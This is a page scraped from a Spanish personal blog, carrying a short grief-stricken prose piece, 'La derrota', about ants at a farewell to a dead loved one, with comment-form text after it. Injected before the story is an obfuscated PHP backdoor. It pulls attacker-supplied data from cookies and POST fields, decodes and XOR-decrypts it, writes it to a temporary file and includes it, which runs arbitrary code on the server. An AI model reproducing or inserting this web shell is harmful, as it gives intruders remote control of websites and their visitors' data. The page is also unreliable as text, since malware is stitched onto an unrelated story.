$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);} La derrota | desdelallanura

La derrota

Hoy he vuelto a acordarme de aquellas hormigas. No sé por qué hoy han salido aquellos bichos del olvido para devolverme al pasado.

Allí, en aquel escenario, de pie, rodeada de gente, de tu gente, delante de ti, y en nuestra despedida, empezaron a subir, primero por mi pie y luego hasta la rodilla, como queriendo colonizarme y mostrándome lo que a ti te esperaba, aquellas hormigas negras. Subían con prisa, aunque desordenadamente. Intenté echarlas, pero abatida y descorazonada como estaba iban haciéndose fuertes. Trepaban atropelladamente. Alguien que estaba pendiente de mí, tanto como yo de ti, se percató de ello y quiso desalojarlas, quitármelas de encima. Me sacudió el pantalón, aquel pantalón que forma parte de ese momento, y las sandalias que cubrían mis pies. Pronto desaparecieron de mi cuerpo aquellos bichos invasores.

Entonces, de nuevo, pensé en ti. Pensé en cómo las hormigas, aquellas hormigas iban a hacer contigo lo que habían intentado conmigo. Y tú, inanimado, te dejarías hacer. Tampoco ya tenías a nadie que pudiera ayudarte, porque nosotros ya no podíamos, como no podíamos ni tocarte, ni verte, ni tenerte. La imagen de las hormigas, de miles de hormigas, sobre ti y dentro de ti, acabó por vencerme y caí derrotada. Una derrota que durará para siempre.

Hoy he vuelto a acordarme de aquellas hormigas y de ti.

Un comentario en “La derrota

Responder a Jesusin Cancelar respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *